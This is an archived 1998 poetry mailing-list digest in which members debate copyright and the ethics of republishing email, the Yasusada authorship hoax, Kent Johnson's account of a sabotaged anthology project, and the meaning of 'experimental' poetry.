Would I prosecute? No, I got better things to do, and I don't think it'd be doing a service to my community to mire myself and the publishers of another journal/press in a lawsuit which I'd win, but which would drain us both. But if you mean that it's okay cuz Dale can get away with it, I'd have to disagree. Would I trust Dale with my back turned or ever work with him in any way if he did that to me? I doubt it. And I'd surely tell a friend, if they called me up and asked me what I thought about his reliability and trustworthiness. (And since you've just had a hard personal lesson in how damaging that could be, I'd think it might give you pause.) I'm a hardass about ethics. It's one place where I cut no slack.

In the world in which I operate, reputation is everything. I've never signed contracts with my writers--we've always worked on a handshake. It's not that I refuse to sign contracts. I offer the option; they decline. I trust them and they trust me. Never needed a lawyer in any of my dealings with a writer, and I doubt I ever will. On the other hand, you better be damned sure that I've had lawyers look over every single one of my book contracts with big bizniz presses, cuz I know what they're in it for (and it ain't 'art') and I am surely glad for every intellectual property right the law accords me. It's my choice to exercise those rights or not, but I refuse to give them up.

> *Why would you want to be on*
> *the same side of this "intellectual property" issue as the Disney*
> *Corporation?*

Disney sucks. But I don't see any way to strip them of their property rights without hurting myself in the process, particularly given their vast command of resources. It's sort of like supporting free speech for Nazis--it's distasteful, but necessary.

Kali

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503. **Dale M Smith**
Hello?
Thu 12 Feb 1998

So what about KentJohnson's troubling post earlier today about his sabotaged project in latin america? Is this just gonna slip by in silence? Or are listpods so jealous and complacent that they want to see an important project go to pieces? This is a bit more than a "snafu". In fact, it confirms the sort of petty, self-serving and snivelling fealty I have come to expect from this 'community.' The Yasusada poems have contributed more to poetry than almost anything else in recent years. If it's true that some petty acts have prevented Kent from engaging another project then this sabotage should be addressed. Or maybe we wanna go on yapping about baseball or the etiquette of email publication. What *is* the problem behind the Yasusada works anyway? That maybe those poems aren't the works of a nuclear holocaust survivor? Who cares? The poems speak for themselves and contain an astonishing sympathetic, if not vulnerable, clarity. And Kent, to whatever extent he involved himself with that project, aided in bringing some real beauty to the world. Kent's post this morning demanded our attention and decency. Are there any thoughts?

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504. **Daniel Zimmerman**
Re: Warren Spahn or warring spam?
Thu 12 Feb 1998

George Bowering wrote:
>
> >...Perhaps it is that Spahn won 323 games -- can that be true? That's a lot
> >of games.
> >
> >Tom Mandel
>

> He won a LOT more than that.
>
> George Bowering.
> ,
>
363! [Making him the most famous alumnus of my highschool, South Park, in Buffalo, NY].

Dan Zimmerman

↑ Index

505. Safdie Joseph
Re: and another found poem,
Thu 12 Feb 1998

---

this one from one of my favorite philosophers, Cioran. Not exactly "paratactic," Mark P., but I wonder if it might appeal somehow to those of us in different "camps" -- I call it

The Great Cioran Quote

Whether poetry should be accessible
    or hermetic, affective
or gratuitous,
    is a secondary problem.

Exercise or revelation --
    what does it matter?
All we ask of it
    is that it deliver us

from the oppression, from the
    pangs of discourse.
If it succeeds it supplies,
    for a moment,

our salvation

↑ Index

506. Thomas Bell
Re: lowest common denominator in electronic communication
Thu 12 Feb 1998

The post noted below is the impetus for this post but should not be taken as a reflection on the specific contents of that post as many of the circumstances are

outside my realm of knowledge. This post was also promted by recent exchanges on this list.

It is becoming clear to me (as it may earlier have for others) that the primary problem with electronic communication is that this communication occurs within the limits of the least common denominator and this least common denominator can be seen in terms of intelligence, language, access to money and means of communication - e.g., speed of computer, etc.

1) In this case the South American involved wrote me recently of his desire to join in discussions on this very list which he did not do because of lack of comfort with English. If I got conflicting messages about something in another language from the other side of the world I would be very likely to shy away from the topic discussed.

2) Scholarly niceties and legal issues regarding information and its communication and use exist to safeguard writers and their rights but also to facilitate clarity. Securing permission, for example, has a legal and ethical basis but it also functions to ensure clarity of communication - when I write something I would like to have the chance for approval so that I can have some confidence my words are accurately transmitted.

3) Kent is concerned (and rightly so) because he did not have access to some communications about him. Lack of openness in communication is something that electronic communication does tend to encourage, but more importantly it would seem in this case (possibly - this is speculative) the least 'ethical' "conspirator" has his or her way, analogous to the Watergate Conspiricy.

4) Electronic communication would appear to lend itself readily to thoughts of conspiricy and suspicion - instantaneous, mysterious communication, absence of a full range of communicative resources (either verbal with gesture, inflection, etc. or WRITTEN which in other contexts is more developed and carefully considered).

5) In allowing the least common dimension of communication, the potential for snide or scuriloous comment is increased which leads to ill-considered replies. This combination tends to drive out the more careful and serious participant who has more important concerns - I would expect that up to 100 people will leave the list if they haven'talready done so in the past week or two.

tom bell

This LCD also operates in the media and culture as a whole even though it might not always be seen so simply and clearly.

At 07:37 PM 2/11/98 -0500, KENT JOHNSON wrote:
>I had mentioned in my previous message that I would be posting

>information about an issue that had recently come to my attention. I
>hereby give Postmodern Culture, Lingua Franca, The Chronicle of
>Higher Education, Mike and Dale's Younger Poets, and anyone who would
>like, permission to reprint this message and to do so without first
>consulting me.
>
>In the past months I have been engaged in correspondence with one of
>the world's most prominent visual poets (as well as theoreticians of
>visual poetics). This poet is Latin American and is fairly out of

> *Kent Johnson*

↑ Index

507. **Thomas Bell**

Re: Why I'm an experimental poet

Thu 12 Feb 1998

I feel that the (action, process of) writing of poetry is what is of interest to me as a reader as well as a writer. I have a great deal of trouble with reification of "experiment" in relation to poetry. I don't see how it can be understood in any sense but "To experiment, v. to play, to do, to try..." In this action sense I think that to write any kind of poetry is to experiment (?to poetry?) if it is to be worthwhile no matter how traditional the forms used. tom bell

At 10:54 PM 2/11/98 +0000, Miekal And wrote:
>after having a shitty day debugging somebodies' netscape problems it a
>real cheer to come home & seeing everybody throwing "experimental" on
>the passe terminologly of 20th century scrapheap. Ive been discribing my
>work as experimental as opposed to sound/text/sound, intermedia,
>multimedia, interdiscinplinary etc etc since very young, and being one
>whose spleen be to never do the same thing twice, find many perks in the
>ambiguity of the designation experimental or experimedia, thinking of
>mad science in the way that tentitively, a convenience has brought life
>& performance & text & neoism into the realm of scientific --inquiry.
>
>involve everyday in the play of children
>
>orchids & rocks
>
>Harry Kemp

>
>

↑ Index

508. **Aldon Nielsen**
Re: Hello?
Thu 12 Feb 1998

At 05:15 PM 2/12/98 CST, you wrote:
>So what about KentJohnson's troubling post earlier today about his sabotaged
>project in latin america? Is this just gonna slip by in silence? Or are
>listpods so jealous and complacent that they want to see an important project
>go to pieces?

uh . . . there have been some responses already -- and I've asked Kent if he can provide us any more specific information so that we might be able to judge what further response is appropriate -- If somebody was attempting to disrupt a collaborative project by means of a poison pen letter, then that is to be condemened -- and perhaps some public revelations would be in order? Does anybody really think that the response of the jealous would be silence?

> What *is* the problem behind the Yasusada works anyway?
>That maybe those poems aren't the works of a nuclear holocaust survivor? Who
>cares? The poems speak for themselves and contain an astonishing sympathetic,
>if not vulnerable, clarity.

At the risk of contradictory thinness -- IF the poems speak for themselves, and if no one should care whether or not the poems are the work of a nuclear holocaust survivor, then what is the purpose in presenting them in the guise of the work of a nuclear holocaust survivor? My reading of the Yasusada works is that the entire "package" is part of the work -- I think it does a disservice to the work to ignore what appears to be a primary feature of its shaping and presentation -- If this were of no importance, wouldn't the author simply have submitted the poems "themselves," without the surrounding apparatus, and let them meet whatever editorial fate was theirs to meet? The apparatus, and the response to it, is part OF the work, no?

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509. **Thomas Bell**
Re: Fri. night po wars, part VI
Thu 12 Feb 1998

Milner - Something of the nature of the forces that bring order out of chaos.....psychic creativeness is the capacity for making a symbol...the result is that whole areas of their experience become cut off from the integrative influence of reflective thinking. What they are in need of is a setting in which it is safe to indulge in reverie. tom bell

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510. **KENT JOHNSON**
Speculations on identity
Thu 12 Feb 1998

Before responding to Aldon's comments below, I would like to say that I am much less certain of my position regarding "intellectual property" than I have perhaps tried to appear to be. I will say that I _still_ do not think Dale committed any weighty transgression by faithfully reprinting an already public discussion about his magazine in his magazine. But I also think Aldon, Kali Tal, and others have made very compelling arguments, and they make me want to think and reflect about the bigger complications. The issues are not easy.

I suppose my starting point for _trying_ to work through the difficult problems involved (difficult because those problems, I think it's clear, are fully implicated in broader questions of power and history) would be an acknowledgment that the issues of "intellectual property", "copyright," "attribution," and attendant matters are (because historical) always conjunctural and best confronted with a tactical or strategic disposition. That would mean seeing these issues not as absolute and fixed givens (i.e. "I have no choice but to be on the same side of this as the Disney Corporation") but fluid and as categories _open to various uses_. I do not think, for example, that "intellectual property" and "copyright" need to be thought of as synonymous. Nor for that matter is there necessarily a one to one link between "intellectual property" and political "empowerment." Kali Tal very convincingly argues how these two categories _can_ be seen as mutually dependent. But there are also ways in which conditions of collective empowerment might emerge as the result of a direct challenge and overturning of normative assumptions of individual "intellectual property" (as well as their accompanying legalistic reifications) -- where artistic expression is placed at the service of strategic dispersals of identity or provenance. In other words, I would reject the argument that "empirically verifiable" authorial claim is some kind of essential index of personal and political responsibility.

Which is all very intuitive and speculative in the grossest sense... But I do think we need to be careful about treating this identity/property attachment question as if it were a matter of _principle_. We cut off our expressive options if we do, cut ourselves off from thinking in the most various ways possible about how we might work (work as a mode of critical intervention and opposition) against deeply ritualized constructions of self and otherness. And there may be times, there may be "topics" inside which the pressing of otherness is such that conventional structures of authorship and reception are simply not felt to be capacious enough. But that's enough on that. I need to think more.

Now to answer Aldon. He said:

> *3) Kent's post is disturbing -- but I don't know how to respond, as the letter was "glossed and paraphrased" -- There's clearly nothing wrong with anybody who dislikes Kent or his work for any reason communicating their dislike to any other party (or their love and admiration, for that matter) -- It is entirely up to the recipient of any such communication to decide how to act upon it --*
>
> *On the other hand, I take a very dim view of people actively trying to screw up the careers and works of others through "poison" pen, email, fax etc -- BUT, not knowing any of the people involved, and having only a paraphrased version of the representation of the recipient -- I simply don't know what has happened --*
>
> *Kent, can you tell us anything more specific?*

The letter from my contact in South America is a personal communication, so I don't feel I can simply offer it up verbatim. However, the "paraphrase" is a very accurate rendition of the message the post contains. Unfortunately, I cannot say anything more specific. I have my very strong suspicions about who some of the people might be that have written the poet I was to edit the anthology with, but in the end those can only stand as suspicions. I wrote what I did in the hope that those involved might feel compelled to come forward and explain to me why they feel I am unfit to undertake such a project. They have not, and I take their silence (because I _am_ certain that they know by now of this discussion) to be either a sign of moral cowardice disguised as arrogance, or else an indication that they may be reconsidering the ethical implications of what they have done. At this point, I have decided to not say anything more about it on the list unless they wish to come forward to discuss it. I will say once again, however, that what I personally suffer is the loss of a planned sabbatical and the pleasure of collaborating with someone I admire. And this is peanuts compared to those who are affected the most: the

poets and critics whose work richly deserves the exposure
this anthology would have helped provide.
>
>
> 4) I have recently come into possession of previously unknown Yasusada
> manuscripts -- Does anybody know who I should contact for permission to
> publish them?

I can tell you that no permission is required.

Kent

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511. William Marsh
Re: Hello?
Fri 13 Feb 1998

At 05:15 PM 2/12/98 CST, you wrote:
If it's true that some petty acts
>have prevented Kent from engaging another project then this sabotage
should be
>addressed.

i'd imagine that a few on this list are waiting to get some verification of its truth, if that's possible / Kent's post seemed to a large extent an appeal to any who might be responsible to come forward / if they're here, they probably should / but the hasty lynching that other list members might be looking for seems as heinous as the "sabotage" Kent has described

Or maybe we wanna go on yapping about baseball or the etiquette
>of email publication.

i believe Kent is himself one of the ones "yapping" about email publication, as well as the questions the topic leads to about authorship and author constructs, author rights, etc. -- big issues, like the related Yasusada affair, that at least one list member hopes he'll continue to "yap" about

- -
William Marsh
PaperBrainPress
Voice & Range Community Arts
National University
[redacted]
http://www.dtai.com/~bmarsh
snail: 1860 PB Dr. #4

San Diego, CA 92109
- -

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512. Brian Lucas
Angle magazine
Fri 13 Feb 1998

For those interested, there is a new issue of Angle available. It includes poetry from: Barbara Guest, Jennifer Moxley, Andrew Joron, Elizabeth Robinson, Mark Salerno, Lee Ballentine, Jim Leftwich, Michael Basinski, John Lowther, Kristin Citrone, Jason Nelson, Peter Valente, Steve Carll, Norma Cole, Ken Stec, Marcella Durand

There are some copies of Angle #2 available also (work from Coolidge, BernadetteMayer, Yau,etc). Issue one is sold out for now--reprints soon.

Angle #4 is due in early Summer 1998 (work for Geoffrey O'Brien, Charles Borkhuis, Charles North, Dan Featherston, Rachel Levitsky,etc)

To order send checks (payable to Brian Lucas). Each issue is $4 p.p. with hand colored covers.

Also available Angle Chapbooks. Dream of Curtains by Garrett Caples
Watertower by Patrick Monnin
Ganzfeld by Brian Lucas (soon)
($5 ea. p.p.)

You may subscribe for $15 a year. This includes 3 issues of Angle, misc. broad-sides or a chapbook.

(I meant work BY Geoffrey...etc).

Thank you. Brian

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513. Brian Lucas
Angle again
Fri 13 Feb 1998

I forgot one important thing: MY ADDRESS IS
ANGLE
253 ROSE ST
SAN FRANCISCO, CA
94102

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514. Harold Rhenisch
Re: sublimating the ridiculous
Fri 13 Feb 1998

Maria,

I'm with you on the retention of copyright. I'd just like to share a quirky little thing about publication that's going on in Canada right now.

"Canadian Literature" magazine, which used to welcome poetry between its pages of academic abstracts, essays, and reviews, and even paid, which was very welcome, is now insisting on retaining all copyright and all moral rights, with no further consideration due the poet. To be fair, they will allow writers to re-publish their work, free of charge in most cases, but will bill the writers for enquiries. Mind you, that's not the point. The point is that publication in "Canadian Literature" is now deemed to be so prestigious that one would, presumably, be willing to abdicate copyright in order to get in.

Presumably, this loss of copyright and corollary publication is equal in value to the publication and $25/page the magazine paid until now.

In other words, a poet is paying the magazine $25 a page in order to transfer copyright to the magazine.

Surely, the lowly poetics list is cheaper than that.

cheers,

Harold
[redacted]

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515. Michael Magee
Re: ok, well maybe I am an experimental poet
Fri 13 Feb 1998

Josh sd: "I'm not ready to give up all the history and suggestivity of "experimentalism". The challenge is all the more interesting if one has to recuperate such terms from interminable numbness."

I agree with Josh, though, like him as I read him in his post, I see "experimental as a useful tag with some nice associations, rather than as a method I want to place all my chips on. Writers who've been important to me have used it & believed in it for good reasons. Here's John Dewey: "The artist is born an experimenter because he has to express an intensely individualized experience through means and materials that belong to the common public world...Only because the artists operates experimentally does he open new fields of experience

and disclose new aspects and qualities in familiar scenes and objects." Now, Dewey presses on the "intensely individual" a bit harder than I would, but I take his basic point to be a good one: that the sense of experiment, of not knowing what your doing before you do it b/c the culture has not give you the terms by which you might do it, is basic to one's desire to change the language of the culture and, by consequence, the culture itself. Experiment, then, is the method by which, to steal a formulation of Nate Mackey's, "individual expression both reflects and redefines the collective, realigns, refracts it." That's a good thing, eh? -m.

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516. **Henry Gould**
Re: Why I'm an experimental poet
Fri 13 Feb 1998

On Thu, 12 Feb 1998 19:50:04 -0600 Thomas Bell said:
>I feel that the (action, process of) writing of poetry is what is of
>interest to me as a reader as well as a writer. I have a great deal
>of trouble with reification of "experiment" in relation to poetry.
>I don't see how it can be understood in any sense but "To experiment,
>v. to play, to do, to try..." In this action sense I think that to
>write any kind of poetry is to experiment (?to poetry?) if it is to be
>worthwhile no matter how traditional the forms used.
>tom bell

This makes sense. I went to a bilingual reading by a young Russian poet last night, Masha Aptek. Once again I was highly impressed with the Russian style, so diametrically opposed to "mainstream experimental" U.S. tentativeness, ambiguity, open-endedness. She sat in a chair and recited from memory, looking directly at the audience in a fluid milieu between speaking & chanting, the lines seeming (to a non-Russian speaker) unrhymed but strongly marked rhythmically. The impression is one of total control & intellectual authority (whereas often a poet in English can barely remember his or her own lines). Out of that armature of certainty the poem itself becomes a form of shared play.

What this kind of control allows is an imaginative open-endedness. The translated versions (which I could understand), revealed a fluid style, a kind of "clear dreaming", accessible, but built on intellectual leaps - both on the level of metaphors and in the construction of the whole poem.

I suppose many on this list will want to say (1) western poets are exploring incredible performance capabilities right now far beyond the old stumbling over the shuffled pages, and (2) the kind of traditional lyric described here is a thing of the past. I'd rather not get into a retread argument over these issues - just

want to second Tom Bell's remarks by suggesting that older techniques are not so easy to "master" & offer possibilities for such fluid imaginative compounds that short poems are; I would also point to Michael Heller's extremely subtle and discerning defense of the lyric as a finished-unfinishable, unnacountable "occult" magnetic object in last fall's CHICAGO REVIEW in connection with these "out of date" techniques. The idea that Dana Gioia & other popularizers are beyond the pale - all those denizens of the powerful poetry establishment here in whitish Mid America boring to one and all - well, I may agree with that thread in principle, but to harp on how distant we are from them sounds like a lot of old cows chewing the cud - I started getting interested in poetry around 1962 (10 yrs old) when I had to recite ee cummings' "in just- spring" out of an anthology we were using called A GIFT OF WATERMELON PICKLE - I had trouble reciting it because I couldn't stop giggling but I loved the poem - I'm sure that anthology came out of some bedeviled middle american poetry establishment - but still it got me interested for ever - that's Montale's SECOND LIFE OF ART and why waste our time scoffing mindlessly at those we don't like anymore - hurrah for the "french- influenced" short lyric - (something I can get my critical one-eyed public jailhouse teeth into - Heller's essay has fascinating angles on that whole thread too -) - Henry Gould

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517. Billy Little
hexperimental
Fri 13 Feb 1998

---

experimental has always seemed a derogatory term that snoresville poets use to dismiss risktaking work, a way to say i don't understand without looking stupid, a snobbery, another bleeping ghetto. As far as Yasuda's work which i am unfamiliar with, why would people get their shorts in a knot over where he was when, aren't we all surviving the nuclear holocaust, and hasn't hoax been part of poetry way before Chatterton. As far as republication is concerned i'm with Spicer on this, i'm a receiver, poetry isn't property, it's love(or its shadow, the hword) acted out in language, i'd rather be represented by my own mistakes than some misconstrued(even if well intentioned) paraphrase. Of course i'm not a player in the publish and perish world, i don't write criticism, if i can't praise, i'll ignore(tempis fugit), if i can't ignore, i'll damm. until the river runs out of rimes, billy

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518. **Henry Gould**
Re: Fri. night po wars, part VI
Fri 13 Feb 1998

On Thu, 12 Feb 1998 22:48:03 -0600 Thomas Bell said:
>Milner -
> Something of the nature of the forces that bring order out of
>chaos.....psychic creativeness is the capacity for making a symbol...the
>result is that whole areas of their experience become cut off from the
>integrative influence of reflective thinking. What they are in need of is a
>setting in which it is safe to indulge in reverie.

This is exactly what I was talking about with reference to the Russian poet.
sounds very politically incorrect!!
- Henry Gould

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519. **louis stroffolino**
Re: Angle magazine
Fri 13 Feb 1998

Hello Brian Lucas. Yes, Garrett just sent me his chapbook. It looks very good. I'm looking forward to seeing the magazine. Thanks, Chris Stroffolino

On Thu, 12 Feb 1998, Brian Lucas wrote:

> *For those interested, there is a new issue of Angle available. It includes poetry from:*
> *Barbara Guest, Jennifer Moxley, Andrew Joron, Elizabeth Robinson,*
> *Mark Salerno, Lee Ballentine, Jim Leftwich, Michael Basinski,*
> *John Lowther, Kristin Citrone, Jason Nelson, Peter Valente,*
> *Steve Carll, Norma Cole, Ken Stec, Marcella Durand*
>
> *There are some copies of Angle #2 available also (work from Coolidge, Bernadet-teMayer, Yau,etc).*
> *Issue one is sold out for now--reprints soon.*
>
> *Angle #4 is due in early Summer 1998 (work for Geoffrey O'Brien, Charles Borkhuis, Charles North, Dan Featherston, Rachel Levitsky,etc)*
>
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>
> *Also available Angle Chapbooks. Dream of Curtains by Garrett Caples*
> *Watertower by Patrick Monnin*
> *Ganzfeld by Brian Lucas (soon)*
> *($5 ea. p.p.)*

> *You may subscribe for $15 a year. This includes 3 issues of Angle, misc. broadsides or a chapbook.*
>
> *(I meant work BY Geoffrey...etc).*
>
> *Thank you. Brian*

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520. **Miekal And**
hexperimental
Fri 13 Feb 1998

"DESTROY ALL DOGMATIC VERBAL SYSTEMS."

consult

THE PLAGIARIST CODEX

http://www.net22.com/qazingulaza/codex/codex.html

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521. **Robert Hale**
Re: hexperimental
Fri 13 Feb 1998

You can add WS Burroughs to Spicer and others on the notion that language isn't property. This idea runs throughout his work, and specifially in a lecture he did at Naropa that was published in the 2 volume series.

or as WSB would say:

"DESTROY ALL DOGMATIC VERBAL SYSTEMS."

At 06:23 AM 2/13/98 -0700, you wrote:
>experimental has always seemed a derogatory term that snoresville poets
>use to dismiss risktaking work, a way to say i don't understand without
>looking stupid, a snobbery, another bleeping ghetto. As far as Yasuda's
>work which i am unfamiliar with, why would people get their shorts in a
>knot over where he was when, aren't we all surviving the nuclear holocaust,
>and hasn't hoax been part of poetry way before Chatterton. As far as
>republication is concerned i'm with Spicer on this, i'm a receiver, poetry
>isn't property, it's love(or its shadow, the hword) acted out in language,
>i'd rather be represented by my own mistakes than some misconstrued(even if
>well intentioned) paraphrase. Of course i'm not a player in the publish and
>perish world, i don't write criticism, if i can't praise, i'll

>ignore(tempis fugit), if i can't ignore, i'll damm.
>until the river runs out of rimes,
>billy
>
>

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522. Christopher W. Alexander
Re: Hello? Kitty
Fri 13 Feb 1998

Aldon writes:
> At the risk of contradictory thinness -- IF the poems speak for themselves,
> and if no one should care whether or not the poems are the work of a
> nuclear holocaust survivor, then what is the purpose in presenting them in
> the guise of the work of a nuclear holocaust survivor? My reading of the
> Yasusada works is that the entire "package" is part of the work --

I think this should be clear enough, right? it's certainly the allure of the project – that beyond some really beautiful poems, there's this tremendous edifice of thoroughly spurious authorship (and thoroughness is definitely part of the effect, here); more than that, masks on masks on masks, AY concealing Tosa Motokiyu, itself a name (a noun) obscuring other, apparently numerous figures, Ojiu Norinaga and Okura Kyojin, Kent Johnson, Javier Alvarez, who knows who else – and who knows who for sure? more than a deconstruction of authorship, the project casts a shadow over the stability of the subject itself – hence the proliferation of accusations that encompasses even commentators on the project, rumors that x person isn't real or isn't who s/he claims to be – spurious rumors about spurious selves, and all of the above dim in their origins, as these things go.

but there is the aspect – or possibly the spectre? – of this project, that it's portrayal cuts in both directions. I.e., yes, I think it's a very sophisticated – arguably the most sophisticated yet – action against our reliance on the subject as a stable, discrete entity, i.e. the molar subject (and one has only to be doing grad. school applications to see how far our use of phi. and theory has taken us from subjecting ourselves to these modes ha ha) – that is, "it's a very good schizo dream". And yes it can also be taken up as a poke at good old American anxiety over Hiroshima – a discomfort so well deserved – , not to mention a generalized anxiety over ethnicity (or the sometime academic game of Find the Subject Position) – etc. etc. But on the other hand, Double Flowering really is haunted by the subject in question – Araki Yasusada, Hiroshima survivor – , which isn't just a comment on our terror and our crime, but has to be read •as•

a question – an anxious question, and one I really can't answer – what does it mean to manufacture such a person? what does it mean that Araki Yasusada is manufactured?

And, unlike some of the folks who've commented publically (i.e., who've published comments) on the work, I don't think these matters are ultimately separable.

Bill Marsh wrottt:
> but the hasty lynching that other list members might be looking for seems
> as heinous as the "sabotage" Kent has described

I don't think anyone is calling for a hanging yet – but it's been well and thoroughly discussed that that dynamic does seem to be a part of the list functioning (another topic I'm not anxious to get back to). I would like more information, certainly, and perhaps I should be clear that my reaction in the previous post is based on what information I have – it isn't meant as a call to arms. Folks: no circling of wagons on my account, please.

best, Chris

..

Christopher W. Alexander etc. / nominative press collective

email: [redacted]
snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/

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523. William Burmeister Prod

Re: Hello?

Fri 13 Feb 1998

On Feb 12, 5:15pm, Dale M Smith wrote:
> Subject: Hello?
> So what about KentJohnson's troubling post earlier today about his sabotaged
> project in latin america? Is this just gonna slip by in silence? Or are
> listpods so jealous and complacent that they want to see an important project
> go to pieces? This is a bit more than a "snafu". In fact, it confirms the
> sort of petty, self-serving and snivelling fealty I have come to expect from
> this 'community.' The Yasusada poems have contributed more to poetry than
> almost anything else in recent years. If it's true that some petty acts
> have prevented Kent from engaging another project then this sabotage
should
be

> addressed. Or maybe we wanna go on yapping about baseball or the etiquette
> of email publication. What *is* the problem behind the Yasusada works anyway?
> That maybe those poems aren't the works of a nuclear holocaust survivor? Who
> cares? The poems speak for themselves and contain an astonishing sympathetic,
> if not vulnerable, clarity. And Kent, to whatever extent he involved himself
> with that project, aided in bringing some real beauty to the world. Kent's
> post this morning demanded our attention and decency. Are there any thoughts?
>-- End of excerpt from Dale M Smith

Well (and others may also agree) I think that the best we can do here is offer Kent our support and encouragement and then of course decry what has taken place. The rest would perhaps be opinion and feelings that may or may not help Kent in the least. I mean, for my part, that my opinion regarding the judgement of Kent's South American collaborator may butt against Kent's respect for the same person. Since when did it become possible to please everyone(critic or not)? The letter seems vague and a bit hokey. I don't have enough information to say this perhaps, but why is it necessary for Kent to "settle" his "situation" with all of these wonderful secret friends of his here in the U.S. BEFORE entering into this collaboration? Who are this collaborator's friends anyway? 'nuff said.

I have of late appreciated Kent's postings for their spirit and freedom. He has written in total (I feel) honesty and (yes) vulnerability. (This due to David Bromige's proposal of which I am in total agreement--that it is still an active and necessary aspect of poetry). His overall generosity and calm is well noted on this list and he certainly doesn't deserve this crap.

Not feeling particularly well,

William Burmeister

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524. Harold Rhenisch
experiment and poetry wars
Fri 13 Feb 1998

>>Experiment, then, is
the method by which, to steal a formulation of Nate Mackey's, "individual
expression both reflects and redefines the collective, realigns, refracts
it." <<

That sounds a lot like the Great American Myth. It might be less relevent for that small part of a few people's lives still protected from its reach in remote corners of the globe. People well worth listening to.

Mind you, non-individual expression would do the same, wouldn't it? A group expression, too? And which collective?

Brecht saying:

"The time of our leaders is ending fast.
The great won't stay great..."???

or the collective of his opponents...

"Once upon a time
our leaders gave us orders
to go out and conquer
the small town of Danzig,

so we invaded Poland
and with our tanks and bombers
conquered all of Poland
in a few days..."???

Speaking of collectives, perhaps someone could help me out here, with an explanation of what was meant a few weeks back by the San Francisco poetry wars.

I got real grouchy about that for a few weeks, because I had not considered poetry a war, and have yet to see any evidence as to how a war is a terribly good thing. Blame it on too many stories told to me when I was a boy as my father tried to work out the horror of being bombed, starved, and shot at from 1939-1945, when he was 6-12 years old, and the greater horror of 50 million dead which led to that bombing, starving, and shooting. By all accounts, Korea was pretty bad, too, Ypres unbearable, Vietnam a disgusting display, and on and on and on.

My question is: what is so great about having a poetry war?

Heck, another question: is poetry a war?

I think I'm going to be hard to convince, given my prejudices against that kind of behaviour, but I'd love it if someone could clear the air for me a little.

Heinrich Boll said that it is easy to resist political totalitarianism, because we have a strong tradition of resistance and it is consequently easy to see where the line is drawn, but that it is supremely difficult to resist material consumption because we have no knowledge of where to start or what the line might

even look like. He went on to say that such resistance should be our political fight.

That doesn't sound like a war, though. That sounds like learning to see and speak. Pretty basic stuff.

So, why on earth a war, let alone a poetic civil war?

That's not going to help anyone see, and it's not going to help anyone speak. What possible constructive use would it serve?

Harold Rhenisch
[redacted]

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525. **henry gould**
Re: experiment and poetry wars
Fri 13 Feb 1998

The arguments over individualism, collectivism, community, tribalism, subjectivity, objectivity, standards, tradition, experiment in poetry seem to be inevitable since the individual/community question is a political one, a moral one, a spiritual one, inescapable. Shakespeare wrote King Lear as a meditation on the transition from a feudal corporate order to rapacious individualism; Melville wrote Moby Dick partly as a response to Lear - to the same basic issues in a new era. When I look back over the "criticism" war of the past few weeks, my own stance resembles that of Edmund, Lear's bastard : or Ishmael at the beginning of the voyage : one against all, all against all. (Reagan's invisible hand of capitalism.) That's what "provocation" and raised temperature becomes (war).

However, I maintain that pure tribalism is no better than pure individualism: it's full of just as much if not more illusory constructs of solidarity and righteousness. The individual who takes pride and responsibility in unique work makes a space for art in a democracy of equals. This may be an illusion too but I'd rather have a balance of illusions than one total illusion. And critics, so it follows, have a right to "measure" quality by their own language standards, moral standards, political standards, personal taste, etc. - FREE of ulterior commitments. It also follows that in a liberal democracy damned by private selfishness, artists have a right to band together under common ideals and create collective works of all kinds. (I don't have to like them.)

It seems to me that poetry, as a kind of unmarketable commodity or occult gift is in a special position to address a world in which the market - the monetary value - becomes the global measurement and the issue of how we govern ourselves & live together in civil society - i.e. what binds us together BEYOND utilitarian or prudent getting, spending and saving - becomes a very open question

again. The same question that tormented Shakespeare & Melville and... This is true whether you are a socialist, a social democrat, a liberal democrat, or a capitalist... (and it's not going to be "resolved" in list-chat, either)...("ye shall judge them by their works").

This is partly what I meant when I said poetry - I mean poetry as a perennial phenomenon - is not a subculture and should not be content or assume marginality (not that marginality is all bad or the reverse all good either...). - Henry Gould

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526. KENT JOHNSON
Letter from South America
Fri 13 Feb 1998

I'd like to thank the numerous folks who have expressed support both here and b-c. I want very much to not fall into the trap of playing the martyr on this issue (a real temptation), but I'll allow myself the sentimental luxury of saying that the expressions of solidarity mean much to me, and particularly the fact that a few have come from people I have fenced and quarrelled with on this space...

(OK, the hanky is now back in my pocket.)

I had said I would not say anything more about the issue. But I received another letter from the poet this morning which is rather stunning, and I am now considering translating it and making it public. The letter evocatively shows how utterly manipulative this whole thing has been, how badly the poet feels about the matter, and how shamefully those involved have taken advantage of the poet's difficult situation to further their own agendas. The letter again makes clear reference to unnamed people in the plural.

Unfortunately, the letter also makes clear that the project is now done for. The poet feels there is no way out for him, and though I wish he would change his mind, I am sympathetic to him. His letter is both poignant and disturbing. And there are few times in my life when I have felt as saddened and angry as I now feel.

I want to ask something very directly: A few weeks ago there was a long and interesting thread which involved strong criticisms of Marjorie Perloff for not giving enough space on her syllabus to neglected visual poets. It has struck me as strange that some key people involved in critiquing Perloff have said nothing about this current issue, which involves the deliberate sabotage of a project that meant, precisely, to bring attention to a large number of neglected visual poets. So let me ask the entire "visual poetry community": If what I have said about this affair is a candid and faithful representation of events (I am asking

you to simply consider that hypothetically for now), what is your position? What, if anything, do you know? Is there any light at all you could shed on the problem? If you are someone, for example, who has had a relationship with the poet in question (perhaps even published his work) will you please tell me that you _don't_ know anything about this?

A number of people have suggested that I directly ask the poet for the identities of those involved, since knowing their names would perhaps lead to a discussion that might facilitate resolution. But the truth is, I don't feel it appropriate to press the poet to "reveal names," for that could only further complicate his situation. It is going to be up to those who have disgraced themselves to come forward and explain. And as a matter of honor, I am going to persist until I get to the bottom of what has happened.

Kent

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527. **pritchpa**
Re: Hello?
Fri 13 Feb 1998

I want to voice public support for Kent Johnson in this bizarre and heinous predicament and suggest, if it would do any earthly good at all, that perhaps he - or we - organize a letter-writing campaign on his behalf. I doubt if a letter from me to anyone would carry much weight, but there are some on the list whose names do "carry weight" and who have already publicly voiced their support for Kent in the form of blurbs and lengthy defenses in articles. Although that could wind up backfiring - I really have no idea. Perhaps it's not appropriate at all - I guess only Kent would know.

But the sort of behavior being conducted against Kent - who certainly strikes me as a good egg - is really intolerable - and just downright childish.

Patrick Pritchett

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528. **Bob Grumman**
Re: Letter from South America
Fri 13 Feb 1998

